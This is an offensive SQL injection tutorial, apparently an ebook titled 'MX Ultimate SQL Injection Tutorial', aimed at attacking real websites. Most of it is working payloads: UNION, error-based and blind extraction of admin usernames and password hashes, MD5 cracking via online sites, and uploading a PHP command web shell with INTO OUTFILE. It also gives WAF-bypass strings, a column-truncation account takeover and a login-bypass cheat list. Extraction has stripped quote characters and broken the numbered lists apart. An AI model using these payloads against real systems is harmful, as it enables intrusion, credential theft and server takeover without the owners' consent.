You are on page 1of 18

MX ULTIMATE SQL INJECTION TUTORIAL

Finding out if your target is vulnerable.


The first thing we have to figure out is, when is a site vulnerable to SQL injection or not?
We can do this a few ways, depending on what kind of SQL injection types we know.
Some examples for how to figure out if its vulnerable or not to basic SQLi:

Place an behind the last part of the URL.

If you get something similar to the following errors:

You have an error in your SQL syntax


Warning: mysql_fetch_array():
Warning: mysql_fetch_assoc():
Warning: mysql_numrows():
Warning: mysql_num_rows():
Warning: mysql_result():
Warning: mysql_preg_match():

Or anything similar to this, it IS vulnerable to SQL Injection , about 95% of the time, you will face common errors
as well.
There are more ways to tell if its vulnerable. If it doesnt throw out an error on simple SQL injection
attacks: thats by checking if images or other things are missing on the page, sometimes when the SQL
errors out it will be unable to call certain images and they wont show, this is a great example to see if its
vulnerable too, if your page is missing text / has less displayed than before.
So keep your eyes open to see if your target is SQL injectable.

Exploiting a simple SQL vulnerability.


As this covers the first part, you will always want to start off with the most absolute BASIC of SQLi.
Ways of exploiting common SQL injection points:
Find out if its vulnerable (Check Chapter 1)
Next what we want to do is know how many columns we are working with on their current database to extract
information that we want.
There are multiple ways to check how many columns there are for SIMPLE SQL injection.
1.
2.
3.

Order by
Procedure analyze
Group by
Example: If we use group by a certain number, and its wrong it will state: Unknown column 21 in group
count however if its the right amount of columns it will spit out: Cant group on count

Order by will work as follows, lets say we have a vulnerable site that has 20 columns.
www.site.com/view.php?id=25 order by 19will show the page, still no errors.
www.site.com/view.php?id=25 order by 20 will show the page still
www.site.com/view.php?id=25 order by 21 This can give multiple errors like:
Unknown column 21 in order clause
Now that we figured out how many columns our target has, we can start exploiting it.
We want to explore which number(s) are showing up on the page.
We will do that by the following query:
www.site.com/view.php?id=25 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-With the query we just entered, numbers may or may not pop up on the page. If none pop up, first thing we will
do is check out the source of the page, and search for numbers. If youre not certain if thats just a number from
the website itself or our query, do the following:
www.site.com/view.php?id=25 and 1=0 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,16,17,18,19,20
We are telling the server that 1 equals 0, which in mathematical terms is not true, which forges our query to
return false, which will then error out our request, in 90% of the occasions it will now show your columns.
Now that you found the column numbers on the page itself, pick a number which you find the easiest to see / find
on the website (that pops out of the page at you).
Lets say in the example I have chosen the version of the MySQL they are running on is 5.
www.site.com/view.php?id=25 and 1=0 union all select
1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
This query will show us the exact version of MySQL they are running which is fairly important, since MySQL comes
mostly in 2 flavours, either version 4 or 5 (yes there are lower versions, but finding those is like finding a needle
in a haystack), A quick explanation on that, 4 has no information_schema table. Therefor you either have to
guess table / column names, or you would have to brute force them with a wordlist or something similar.
Now to exploit our site:
We need to know what tables our target database has, for that query we can use information_schema 90% of the
time (unless youre on MySQL 4), to do so we use the following query:
www.site.com/view.php?id=25 and 1=0 union all select
1,2,3,4,concat(table_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19 from information_schema.tables
In this query we used concat which is a statement in SQL that concatenates the amount thats in the table /
columns.
We have the following functions to grab all the data from either a table or column:
1. Concat
2. Concat_ws
Concat_ws stands for concat with separator, which is able to use as following:
Concat_ws(:,username,password) This function will put our separator the : sign between every upcoming
column / table we select.

3. Group_concat
Group_concat will return all strings within a certain group.
As we do this query it may result in showing all of the table names from a certain database or it might just show
you 1 out of all of them, or it might show a really big mess.
Therefore we will change the query to make sure we can view it as best as possible:
www.site.com/view.php?id=25 and 1=0 union all select
1,2,3,4,concat_ws(:,table_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from information_schema.tables
Which results in showing the table names with a little separator sign, therefore easier to read.
What if you CANT view all of the tables? There are a few tricks for this:
1. Limit (Limit says what it does and limits it to the users request, to use this in a query we use it as: LIMIT
1,1-- , at the end of the query we did. This will show your table names 1 by 1, and can be used for any
table / column or data you try it on. By increasing the first number to a larger one like 2,1 3,1 4,1 etc we
will see the table / column / data thats on the 2nd row or more.
Now that we know our tables names you might find something like users, or maybe something like admin, now
we want to see all the columns within that certain table, we do that with the following query:
www.site.com/view.php?id=25 and 1=0 union all select
1,2,3,4,concat_ws(:,column_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from information_schema.columns
where table_name=admin
What we did here is, we requested all the columns in the admin table, from information_schema as that table
holds an internal map of the database (tables / columns etc.)
Doing it like this might give you an error because of the php settings for the server (hosting admin), if magic
quotes is on we will need hex encoding to bypass it.
What we need:
http://www.swingnote.com/texttohex.php
We simply put in the name of the database we want, which was admin in the example.
Which will output for us: 61646d96e
However for this to work 100% we need to add: 0x before our numbers. Which would result in this query:
www.site.com/view.php?id=25 and 1=0 union all select
1,2,3,4,concat_ws(:,column_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from information_schema.columns
where table_name=0x61646d96e
Now that its showing all of the information from the table, and we know which columns we are working with, we
want to get to the data they store!
In my example we will use the following:
ID Admin Name Fullname Password Email
As you see we want a certain amount of info from that table, personally I would go for Admin and Password,
which we use the following query to obtain:

www.site.com/view.php?id=25 and 1=0 union all select


1,2,3,4,concat_ws(:,Admin,Password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from Admin
Which will tell the server that we are requesting the data stored in the Admin table, outputting something
similar to this:
Admin: 21232f297a57a5a743894a0e4a801fc3
Some of you might be confused now, but the passwords is encrypted with MD5, therefore we can use either
public or private md5 crackers. Either online or programs, I will show you 1 of my favorite websites to crack with:
www.md5decrypter.co.uk
If we entered the hash we will see that our Administrators information is:
Username: Admin Password: admin
Now to hack further into it, you will need to scan the website or guess to find the admin panel, HINT: Some
website have older databases that are just out of use so the password MIGHT not always work.
Tips & Tricks making your numbers visible:
1.
2.
3.
4.
5.

1=0
1=2
DIV by 0
99999999
Using the sign before the number

What sign to use?


This might sound weird, but in SQL we use a lot of signs, as for our query to work the signs may differ.
A list of signs you can use to make your SQL Injection to work.
1.
2.
3.
4.
5.
6.
7.

- - (Normally used in basic SQL Injections)


/* (Used to bypass magic quotes)
+- (Used in string based SQL Injections)
a)b) (Used in blind SQL Injection mostly, as well for Error based)
# (Used in error based SQL Injections)
-- -- (Used in User Agent SQL Injections)
a (Used in WAF Bypass)

Now: To figure out which to use?


Some websites will have magic quotes on which will filter some characters. Which will make our injection a little
bit harder.

INTO OUTFILE uploading your shell with MySQL Injection.


This is not used a lot, but if you find a target thats either the root user, or a user granted with root permissions,
and they have the privileges we will be able upload a shell with MySQL Injection.
I will explain it step by step.

1.
2.
3.
4.
5.

Find out if its root user (we do that by using user() in our vulnerable column).
If its root user, we have to check privileges of the user.
We have to find the full path of the current user.
We have to test if the server has magic quotes on or not (IMPORTANT!).
Take over time :D.

So lets explain it some more: First we need to find out if our user is the root we do that with the following query:
www.site.com/view.php?id=25 and 1=0 union all select 1,2,3,4,user,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from
mysql.user
So in my example I am currently the root user, Im like yay cool, but we arent there yet my young Padawans!
Now that we know its root, we check their privileges by using the following query:
www.site.com/view.php?id=25 and 1=0 union all select
1,2,3,4,concat_ws(:,user,file_priv),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
If it results in the output:
Root:Y
Then we have a bingo, and we will be able to use INTO OUTFILE to upload a shell, now lets continue and see if we
can find the FULL PATH to upload a shell on, (The Full path is important as an user is bound to a certain path with
their site)
Sometimes we can get lucky getting the full path, but not all SQL errors will spit it out.
Tip & Tricks to spit out Full Path Disclosure:
1. Use [] before the = sign, this will error out as its not valid.
2. If that doesnt work, try with either tamper data / livehttpeditor / cookie editor to edit your
PHPSESSIONID or COOKIE to 0, then refresh it (As the session / cookie wont be valid it will yet again error
out).
Now that we found full path, we can try and upload a BASIC php shell to execute commands for us, we do that by
using INTO OUTFILE. Let me show you a quick example:
www.site.com/view.php?id=25 and 1=0 union all select 1,2,3,4,Hello
world,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 INTO OUTFILE /home/mx/public_html/hello.php-If we are allowed to create a new file in that directory it will now have created hello.php on our www.site.com.
As my full path is: /home/mx/public_html
Common errors:
1. Error code 13 (The directory where you are trying to create a new file in is not writeable (777)).
2. Error code 2 (Wrong path)
Now to upload a shell we use this basic code to upload with:
<?php system($_GET*cmd+); ?>
So our query would look like:

www.site.com/view.php?id=25 and 1=0 union all select 1,2,3,4, <?php system($_GET*cmd+);


?>,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 INTO OUTFILE /home/mx/public_html/shell.php
If the page returns without error code 13 or 2, or any other error code it should been uploaded.
We can check by going to it and entered ?cmd=ls la like the following:
www.site.com/shell.php?cmd=ls la
This should show us the current directory and files within.
But there wasnt an error and my shell is still not there?
Well then in that case we would have to use Acunetix, to do a SIMPLE folder scan, and we change our paths to
whatever folder shows up, imagine they have a /images folder, then we just add /images to our path.
Magic quotes is on and I cant upload my shell?!
No worries we can bypass that using CHAR(), some sites with magic quotes on will filter out <? Or ?> signs when
uploading a shell, only CHAR will work, by either using HACKBAR to put <? And ?> into CHAR(60,63) AND
CHAR(63,62)
This will result in the following query:
www.site.com/view.php?id=25 and 1=0 union all select 1,2,3,4, CHAR(60,63) system($_GET*cmd+);
CHAR(63,62),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 INTO OUTFILE /home/mx/public_html/shell.php

String Based SQL Injection


Well as we have covered the basic types of SQL injection. Its time to go over to Error based, as the name states
we will use errors to output the results we want.
How do you know if its vulnerable to Error based SQL Injection?
1. The use of select statements have different numbers of columns. (You will keep getting this error).
Testing if your site works: Error based is fairly easy we do that with the following query:
www.example.com/page.php?id=1 order by 10no error
www.example.com/page.php?id=1 order by 50still no error?
www.example.com/page.php?id=1 order by 10000no error still grumble right?
Now that we know we are working with error based we change our query just a little bit into:
www.example.com/page.php?id=1 order by 10--+- Error!!!
By adding the sign behind the url, and adding the + sign between.
Now that you know this, remember this trick well, this is commonly used behind named pages such as:
www.example.com/category.php?id=MXHERE
A lot people would be confused and be like thats not vulnerable yet it happens a lot of the time.

User agent based SQL Injection


This trick is such an underdog in the SQLi world, its unbelievable.
What we want to do is find a site that keeps hold of user agents and spits them out. A normal Firefox User Agent
would look something similar to:
Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201
Now what we want to do is create an error, its slightly different because youre working with User Agents, but
never the less fairly easy to do.
Tools aviable for use:
1. Live HTTP Headers (Firefox add-on)
2. Tamper data (Another Firefox add-on)
I will keep these 2 as the main prospects as they are the easiest way to use.
In my example I will use Tamper Data to work with our user agent, as its the easiest one to use.

Steps:
1.
2.
3.
4.

Open up tamper data.


Reload your target site.
Tamper the request.
Edit the user agent.

Now we edit our user agent just like we would add the sign in a normal SQL situation.
We edit our user agent to:
Now most likely you will get an error (check back to chapter 1 for which errors).
Now to check the amount of columns we do the following:
User-agent: union select 1-- -- (Note the double signs, make sure you have those!)
Now we keep going on, until we see results (numbers should show at some point)
With my example it will show at column 2.
Now all you have to do is follow Chapter 1 again, slightly different, but you get the point.

Waf & Waf Bypassing


Lets explain firstly what WaF stands for and what it actually does for a website / server.
Waf is short for: Web Application Firewall, its purpose is to filter out a lot of our queries characters.
An example of a normal website we would inject on would look like:

www.exmample.com/page.php?id=1 and 1=0 union all select 1,2,3,4,5-If we do that with a WAF protected website will we get thrown out with a 403 FORBIDDEN error, or the 404 not
found error.
Now that you know what a WAF is and what it does, I will show you some tips / tricks to bypass it.
Comments used to bypass:

//
-/**/
#
--+
-- ;%00

-- a

Now for bypassing some WaFs, the exploiting is quite similar to basic SQL injection, yet you have filters now that
you have to bypass, here are a few queries that CAN bypass (Its never 100%).

page.php?id=1/*!UnIoN*/SeLeCT (In this case we use /! As they are used as inline MySQL comments (sort
of php like) and we work with lower case and upper case letters to bypass it as well).
page.php?id=1+UNIunionON+SeLselectECT+1,2,3,4,5 (In this case we use the double text, its seems
rather weird but what it does, if a filter detects the union select, and the filter has preg_replace(php
function) to replace our union select with a space (or nothing), it will still show like:
UNION SELECT 1,2,3,4,5-page.php?id=1%252f%252a*/UNION%252f%252a /SELECT (In this case we are using HTTP encoding (hence
the %252f etc signs, to DOUBLE bypass certain WAFS (this method works only on 10-15% of the sites Ive
personally tested on))).

Putting it all together:


www.exmample.com/page.php?id=1 /*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM
/*information_schema*/.tables-Which will result showing all the table names, just as Chapter 1.
The rest of the exploiting you have to figure out yourself, I gave you the handles for WAF bypassing, a hacker has
to do everything on his own to really master / learn something they want, all this does is tickle your brain.
Tips & Trick bypassing more:
1.
2.
3.
4.
5.
6.
7.
8.
9.

id=1+(UnIoN)+(SelECT)+
id=1+(UnIoN+SeLeCT)+
id=1+(UnI)(oN)+(SeL)(EcT)
id=1+'UnI''On'+'SeL''ECT'
id=1+%55nion all /*!12345%53elect*/ 1,version(),3
id=1+UnIoN+SeLecT 1,2,3
id=1+UnIOn/**/SeLect 1,2,3
id=1+UNIunionON+SELselectECT 1,2,3
id=1+/*!UnIOn*/+/*!sElEcT*/ 1,2,3

10.
11.
12.
13.
14.
15.

id=1 and (select 1)=(Select 0xAA 1000 more As)+UnIoN+SeLeCT 1,2,3


id=1+%23sexsexsex%0aUnIOn%23sexsexsex%0aSeLecT+1,2 ,3
id=1+un/**/ion+sel/**/ect+1,2,3-id=1+/**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/1,2,3
id=1+/**/union/*&id=*/select/*&id=*/column/*&id=*/from/*&id=*/table-id=1+/**/union/*&id=*/select/*&id=*/1,2,3--

Its only important to use these queries as weird as they look right now at the start of the query, meaning, the rest
of the query you could try normal like:
www.example.com/page.php?id=1 id=1+(UnIoN)+(SelECT)+1,2,username,4,5 from users--

The unknown 500 server error bypass.


A lot of you might not know that 500 server errors fall under WAF bypassing, its simply a technique used, we will
use a certain amount of characters to bypass the filters.
Example:
index.php?id=-1 and (select 1)=(Select
0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) /*!UNION*/ /*!SELECT*//**/1,2,3,4,5,6x
The query looks quite big, the A = 1000x, to bypass common filters.

Error based SQL Injection


The name basically already spits it out; we will use an error to get the data we want from a certain database /
table / column.
First I will set you off with the queries used, then I will explain how to use, and what response you can get from
that.
1. page.php?id=1+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(version()+as+char)
,0x7e))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables
+group+by+x)a)
2. page.php?id=1+or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)+or+1
3. +and+(select+count(*)+from+(select+1+union+select+null+union+select+!1)x+group+by+concat((select+ta
ble_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),floor(rand(0)*2
)))
4. page.php?id[]=(@:=1)||@+group+by+concat((select+table_name+from+information_schema.tables+whe
?re+table_schema=database()+limit+0,1),0x7e,!@)+having+@||min(@:=0)-5. page.php?id=1+and+(select+1+from+(select+count(*),concat(floor(rand(0)*2),0x7e,(select+table_name+fr
om+information_schema.tables+where+table_schema=database()+limit+0,1))x+f?rom+information_sche
ma.tables+group+by+x)a)
6. +and+row(1,1)>(select+count(*),concat((select+table_name+from+information_schema.tables+where+tab
le_schema=database()+limit+0,1),0x7e,floor(rand(0)*2))x+from+(select+1+uni?on+select+null+union+selec
t+!1)x group+by+x+limit+0,1)
7. +and+(select+*+from+(select+*+from+information_schema.tables+join+information_schema.tables+x)a)

What we are basically doing is using 2 queries within 1 to cause an error to display our webpage, spitting out the
info we want.
How it works out:
www.example.com/page.php?id=1+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(versio
n()+as+char),0x7e))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.ta
bles+group+by+x)a)
In this query we are requesting the version() of the server, now to actually exploit it we will enter:
www.example.com/page.php?id=1+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(table
_name+as+char),0x7e))+from+information_schema.tables+where+table_schema=database()+limit+0,1),floor(rand
(0)*2))x+from+information_schema.tables+group+by+x)a)
If you look closely, we are requesting the database name, in error based SQL Injection you will see it spits out the
following:

Duplicate entry 'activate~1' for key 'group_key'

Please note that this is a real example, which means in this case that activate is 1 of the current tables, as we
perform error based SQL Injection, we have to remove the ~1 signs.
Now to move up the tables to view them all, we would like to see them 1 by 1 we change the LIMIT in the query to
1,1 or higher to 2,1 3,1 etc. till you are out of tables.
www.example.com/page.php?id=1+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(table
_name+as+char),0x7e))+from+information_schema.tables+where+table_schema=database()+limit+1,1),floor(rand
(0)*2))x+from+information_schema.tables+group+by+x)a)
Moving the LIMIT up, which we learned earlier in this eBook, will show you the rest of the tables in my example:

Duplicate entry 'banners~1' for key 'group_key'

Now we want to move along and gather as much info as possible about our target.
Tips & Tricks:

1. Websites in different languages use other names to keep their valuable data.
A small list of usernames / passwords that are kept in a other language:
Polish Username: Nazwa Password: haslo
Spanish: Username: Usuario(s) Password: contrasea
Dutch: Username: Gebruikersnaam Password: wachtwoord

This list can be endless but you get the main idea, how to figure out which table / column you have to request info
from to get what you want!
Now that we know which databases there are, in my case its Users with uppercase U (important in MySQL that
you keep any seen UPPERCASE or lowercase).
We want to extract the data. To do this we use the following query:
www.example.com/.php?id=1+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(column_n
ame+as+char),0x7e))+from+information_schema.columns+where+table_name=0xTABLEHEX+limit+0,1),floor(rand
(0)*2))x+from+information_schema.tables+group+by+x)a)
As we spoke before about using HEX encoding to get data from the database, we will have to use hex in this query
behind the 0x to get the FIRST column from our table, as you can see we will be working with LIMIT yet again, so
you know the drill, hit it up.
My query used:
www.example.com/page.php?id=1+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(colum
n_name+as+char),0x7e))+from+information_schema.columns+where+table_name=0x7573657273+limit+0,1),floor
(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
0x7573657273 That is users in hex encoding, wich gave me the following result:
Duplicate entry 'id~1' for key 'group_key'
Now we use the LIMIT to go up until we find the column information we want, In my case I found the following
columns:

Id
Username
Password
Now to extract these values we will use the following query:
www.example.com/page.php?id=1+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(conca
t(id)+as+char),0x7e))+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
Now it is important to note that I highlighted the parts you have to edit, in my query it looks like this:
I know that ID is a column in the table users.
I know that users is the database that my target is using, and where I want to get info from.
And last but not least we use the 0,1 to scoop up the other ids as well.
Now to get all the info from ID number 1 (probably the admin user), we will use the same query but now with
more than only ID in the query like this:
www.example.com/page.php?id=1+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(conca
t(id,0x3a,username,0x3a,password)+as+char),0x7e))+from+users+limit+0,1),floor(rand(0)*2))x+from+information
_schema.tables+group+by+x)a)
Make note that Im using 0x3a which is hex encoding for the : sign, to keep the query nice and easy to see, the
whole query results with this:

Duplicate entry '1:lammertw:0c5dbe3017f2dc6755933adb45735086~1' for key 'group_key'

Now as I noted before, remove the ~1 and you got all the info like this:
ID Username Password (Encrypted in MD5(Read back if you dont remember how to decrypt it).
Well done, now you have mastered a small proportion of Error based MySQL.

SQL column truncation injection.


This is even fairly unknown to most hackers, this vulnerability will allow us to duplicate a certain user account,
making it overwrite the password of the current user.
How does it work?
Lets say you have a website with a user registration form, you view the member list and you see theres a user
called admin. We would like to be admin ourselves, therefore we will try and overwrite his current passwords
by creating a new account with the same name.
Confused? Lets explain it some more.
Tools needed:

Firefox
Firebug

Now lets go ahead and go to the register form of the website (this method works about on 10-20% of targets).

Once you see the registration form open, and you can enter a username password and maybe an email we will
open firebug, and inspect the username form, and check out if the admin has set a MAX digit for the user name,
like 10 characters at max?
Lets say our target has defined 8 chars as a username limit, we wont be able to exploit SQLi on it right? Now that
we know it only has 8, we can go on and exploit it to do so we use the following username:
admin x
admin = 5 chars, and 3x a space = 8 characters, and the x to confuse the MySQL database.
When successfully registered, we should be able to login as his admin account, with full privileges.

Blind based SQL Injection.


Its called blind SQL Injection as the webpage will not output any of our vulnerable columns.
How to check if you are working with blind SQL Injection:
1. AND 1=1(This should receive the same page properly)
2. AND 1=2(As this is obviously not true, it should not properly load page, or not loader page at all)
Remember! It can be as little as a picture not loading, or a small amount of text is missing!
Exploiting our target, as my target has just failed to load certain text that was there before after submitting my
1=2query.
First we will check the MySQL version they are running (IMPORTANT!)
www.example.com/page.php?id=1 +AND substring (@@version, 1,1)=5
Let me break it down for you:
* Substring: were using substring to break up the data into a true/false situation meaning IF
the first digit in the query response is "5" then we know that the version is greater than or equal to version.
If we get an error page on this it means our version is 4 or less, we can check it by changing the digit 5 to 4.
Now for exploiting our target, and revealing the databases within.
First off we want to know which tables it has, as my version = MySQL 5 I know there is a information_schema
available!
www.example.com/page.php?id= 1/**/and/**/ascii(substring((select table_name from
information_schema.tables where table_schema=database() limit 0,1),1,1))>50
Now to gain the database names, we will have to do this 1 by 1, and use an ASCII chart to change our numbers to
> letters with :) .
The one I use for this is:
http://www.asciitable.com/
Now to exploiting our targets database I will lay out some queries all in a row and then explain them.

/**/and/**/ascii(substring((select table_name from information_schema.tables where table_schema=database()


limit 0,1),1,1))=109 ( M )
/**/and/**/ascii(substring((select table_name from information_schema.tables where table_schema=database()
limit 0,1),2,1))>120 ( X )
/**/and/**/ascii(substring((select table_name from information_schema.tables where table_schema=database()
limit 0,1),3,1))>84 ( T )
/**/and/**/ascii(substring((select table_name from information_schema.tables where table_schema=database()
limit 0,1),4,1))>117 ( U )
/**/and/**/ascii(substring((select table_name from information_schema.tables where table_schema=database()
limit 0,1),4,1))>84 ( T )
Which comes out in: mxtut
I have highlighted the 0 for a purpose, as you might remember, we are using LIMIT meaning we show 1 table a
time, and this might be unlucky and a table where there is no admin info inside, therefore you have to increase
the number when you want to make sure you have all the info you wanted.
Now its time to guess a bit, or you can Google up well known usernames for certain CMS.
As we know our table name, we just need to start guessing the columns within the table (well sort of) as we will
still compare with the database if our query = true if so it will show you.
/**/and/**/(SELECT substring(concat(1,user),1,1) from mxtut limit 0,1)=1 false

This showing us that user is not a column in mxtut!

/**/and/**/(SELECT substring(concat(1,id),1,1) from mxtut limit 0,1)=1 Its true..

This showing us that id is found in mxtut!

/**/and/**/(SELECT substring(concat(1,username),1,1) from mxtut limit 0,1)=1 Its true..

This showing us that username is also a column in mxtut table!

/**/and/**/(SELECT substring(concat(1,name),1,1) from mxtut limit 0,1)=1 false


/**/and/**/(SELECT substring(concat(1,users),1,1) from mxtut limit 0,1)=1 fasle
/**/and/**/(SELECT substring(concat(1,pass),1,1) from mxtut limit 0,1)=1 Its true..

Yay that means we have all the info we need to properly request the ID Username & Password from our
database!

/**/and/**/(SELECT substring(concat(1,password),1,1) from mxtut limit 0,1)=1 false..


So now that we found ID Username Password we can continue extracting the data and we do that with the
following queries:

/**/and ascii(substring((SELECT concat(username) from mxtut where id=1),1,1))=109 M


/**/and ascii(substring((SELECT concat(username) from mxtut where id=1),2,1))=120 X

/**/and ascii(substring((SELECT concat(username) from mxtut where id=1),3,1))=84 T


/**/and ascii(substring((SELECT concat(username) from mxtut where id=1),4,1))=117 U
/**/and ascii(substring((SELECT concat(username) from mxtut where id=1),5,1))=84 T
Which results in: mxtut
So now that we know that the username used is mxtut we can use the same query by simply changing
username into password
/**/and ascii(substring((SELECT concat(password) from mxtut where id=1),1,1))=109 M
/**/and ascii(substring((SELECT concat(password) from mxtut where id=1),2,1))=120 X
/**/and ascii(substring((SELECT concat(password) from mxtut where id=1),3,1))=103 G
/**/and ascii(substring((SELECT concat(password) from mxtut where id=1),4,1))=111 O
/**/and ascii(substring((SELECT concat(password) from mxtut where id=1),5,1))=100 D
Which results in: mxgod
Where our end results in successfully gaining username and password with blind SQLi!
Userame: mxtut
Password: mxgod

Bypassing logins
These are quite old, but still very useable these days, as I am still using this almost daily on certain CMSes.
Cheat list:
') OR ('a' = 'a
') OR ('1'-'1
'or''='
' OR '1=1
admin'-' or 0=0 -" or 0=0 -or 0=0 -' or 0=0 *
" or 0=0 *
or 0=0 *
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1-" or 1=1-or 1=1-' or a=a-" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a

hi" or 1=1 -hi' or 1=1 -hi' or 'a'='a


hi') or ('a'='a
hi") or ("a"="a
' or 1=1-or a=a-' or 1=1-1' having '1'='1'-' or 'x'='x-foo'+OR+'1'='1
Simply use this on login forms (either both username or password, or a username, and a password like our
injections above :) ).

MsSQL Injections
The first thing we need to figure out is, when is a site vulnerable to SQL injection or not?
We can do this a few ways, depending on what kind of SQL injection attack vector we have.
Some examples how to figure out if its vulnerable or not for basic SQLi:

Place an character behind the last part of the URL.

If you get something similar to the following errors:

Microsoft Access ODBC drive


Open quotation
Microsoft Amos DB provider for Oracle
Division by zero in

Now that we found our target, and we had the following error after our query:
www.asp.net/page.asp?id=563
We got an error like:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression
'id=563' ;'.
/en/includes/configdb.asp, line 23

Now that we see that we created an error, we want to make sure its vulnerable. Not all errors are a sign of a
injection point.
Lets continue our test by using the following query behind the number:
+AND+ 1=1#
Making it look like:
www.asp.net/page.asp?id=563+AND+1=1#

As we spoke before about the signs Im only going to explain what and 1=1 is for, you know math (I hope haha).
We simply check if 1 is equal is 1 if thats true, it should show the page normally
Now we want to know if 1 equaling 0 is any problem for our target?
www.asp.net/page.asp?id=563+AND+1=0#
At my end it spilled out the following error:
ADODB.Field error '800a0bcd'
Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
/en/pressread.asp, line 44

Which clearly shows our target is vulnerable! Which is great :).


Getting the amount of columns we do by the following query:
order by 10#
Which you should be familiar with, as I showed you in the basic SQL Injection tutorial!
My query resulted in:
Microsoft OLE DB Provider for ODBC Drivers error '80004005'
[Microsoft][ODBC Microsoft Access Driver] The Microsoft Jet database engine does not recognize '10' as a valid field
name or expression.
/en/includes/configdb.asp, line 26

This can be seen as the same error of basic SQL Injection, now instead of saying unknown column 10 in clause or
something similar it says: database engine does not recognize 10 as a valid field name or expression, telling us
our columns are less than 10.
I changed from 10 columns to 7, which is giving me the correct result that I want:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC Microsoft Access Driver] Syntax error in ORDER BY clause.
/en/includes/configdb.asp, line 26

This might seem like a complete failing error, but the page is loading, so I know I have 7 columns to work with,
lets try and show them on the page.
563+AND+1=0+UNION+ALL+SELECT+1,2,3,4,5,6,7#

Microsoft OLE DB Provider for ODBC Drivers error '80004005'


[Microsoft][ODBC Microsoft Access Driver] Query input must contain at least one table or query.
/en/includes/configdb.asp, line 26

I got this error spit out, basically telling us that it cannot complete our query without a database attached to our
query, there for I will be GUESSING that my target has a column named: mxisgod

PRESS RELEASES > 4 Date: JAN 2, 1900


Source:
ADODB.Field error '80020009'
Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current
record.
/en/pressread.asp, line 0

Now again we use 1=0 to error it out to show our numbers onto the page, for me column number 4 showed up
so I will use that to exploit further with.

As you see above in our target, we see the number 4 after the > sign, if you want to be 100% sure that it is a
column that shows we can use: 4444444444 instead of a single 4, showing us a bigger range (doh).
My query used:
+and+1=0+union+all+select+1,2,3,4,5,6,7 from mxisgod#
We ignore the error and go on!
Now that we are guessing, we have to guess the rest of the columns within mxisgod too! Luckily for you this is an
example made by me, but most websites have standard names for their columns, like id password email, etc.
Getting the info!
Basically the same as normal SQL Injection for this example we have to use column 4 to get our info!
+and+1=0+union+all+select+1,id,3,4,5,6,7 from mxisgod#
